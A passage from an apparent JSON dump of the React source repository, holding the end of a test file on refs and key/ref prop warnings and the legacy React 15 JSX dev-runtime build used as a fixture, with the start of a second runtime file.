React.Component {\n    getInner = () => {\n      // (With old-style refs, it's impossible to get a ref to this div\n      // because Wrapper is the current owner when this function is called.)\n      return <div className=\"inner\" ref={c => (this.innerRef = c)} />;\n    };\n\n    render() {\n      return (\n        <Wrapper\n          title=\"wrapper\"\n          ref={c => (this.wrapperRef = c)}\n          getContent={this.getInner}\n        />\n      );\n    }\n\n    componentDidMount() {\n      // Check .props.title to make sure we got the right elements back\n      expect(this.wrapperRef.getTitle()).toBe('wrapper');\n      expect(this.innerRef.className).toBe('inner');\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should warn when `key` is being accessed on composite element', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.key} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child key=\"0\" />\n          <Child key=\"1\" />\n          <Child key=\"2\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `key` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)',\n    {withoutStack: true}\n  );\n});\n\nit('should warn when `ref` is being accessed', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.ref} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child ref=\"childElement\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `ref` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)',\n    {withoutStack: true}\n  );\n});\n\n// Note: no warning before 16.\nit('should NOT warn when owner and self are different for string refs', () => {\n  class ClassWithRenderProp extends React.Component {\n    render() {\n      return this.props.children();\n    }\n  }\n\n  class ClassParent extends React.Component {\n    render() {\n      return (\n        <ClassWithRenderProp>{() => <div ref=\"myRef\" />}</ClassWithRenderProp>\n      );\n    }\n  }\n\n  const container = document.createElement('div');\n  ReactDOM.render(<ClassParent />, container);\n});\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-15/cjs/react-jsx-dev-runtime.development.js",
    "content": "/** @license React v15.7.0\n * react-jsx-dev-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\nvar ReactComponentTreeHook = require('react/lib/ReactComponentTreeHook');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var stack = '';\n\n    if (currentlyValidatingElement) {\n      stack += ReactComponentTreeHook.getCurrentStackAddendum(currentlyValidatingElement)\n    }\n\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\nvar BEFORE_SLASH_RE = /^(.*)[\\\\\\/]/;\nfunction describeComponentFrame (name, source, ownerName) {\n  var sourceInfo = '';\n\n  if (source) {\n    var path = source.fileName;\n    var fileName = path.replace(BEFORE_SLASH_RE, '');\n\n    {\n      // In DEV, include code for a common special case:\n      // prefer \"folder/index.js\" instead of just \"index.js\".\n      if (/^index\\./.test(fileName)) {\n        var match = path.match(BEFORE_SLASH_RE);\n\n        if (match) {\n          var pathBeforeSlash = match[1];\n\n          if (pathBeforeSlash) {\n            var folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');\n            fileName = folderName + '/' + fileName;\n          }\n        }\n      }\n    }\n\n    sourceInfo = ' (at ' + fileName + ':' + source.lineNumber + ')';\n  } else if (ownerName) {\n    sourceInfo = ' (created by ' + ownerName + ')';\n  }\n\n  return '\\n    in ' + (name || 'Unknown') + sourceInfo;\n}\n\nvar Resolved = 1;\nfunction refineResolvedLazyComponent(lazyComponent) {\n  return lazyComponent._status === Resolved ? lazyComponent._result : null;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName);\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return \"Profiler\";\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        return 'Context.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        return 'Context.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type.render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var thenable = type;\n          var resolvedThenable = refineResolvedLazyComponent(thenable);\n\n          if (resolvedThenable) {\n            return getComponentName(resolvedThenable);\n          }\n\n          break;\n        }\n    }\n  }\n\n  return null;\n}\nvar loggedTypeFailures = {};\nvar currentlyValidatingElement = null;\n\nfunction setCurrentlyValidatingElement(element) {\n  currentlyValidatingElement = element;\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = require('react/lib/ReactCurrentOwner');\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if (!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = require('react/lib/ReactCurrentOwner');\n\nfunction setCurrentlyValidatingElement$1(element) {\n  currentlyValidatingElement = element;\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = ReactCurrentOwner$1.current.getName();\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + element._owner.getName() + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n\nvar jsxDEV$1 =  jsxWithValidation ;\n\nexports.jsxDEV = jsxDEV$1;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-15/cjs/react-jsx-runtime.development.js",
    "content": "/** @license React v15.7.0\n * react-jsx-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\nvar ReactComponentTreeHook = require('react/lib/ReactComponentTreeHook');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  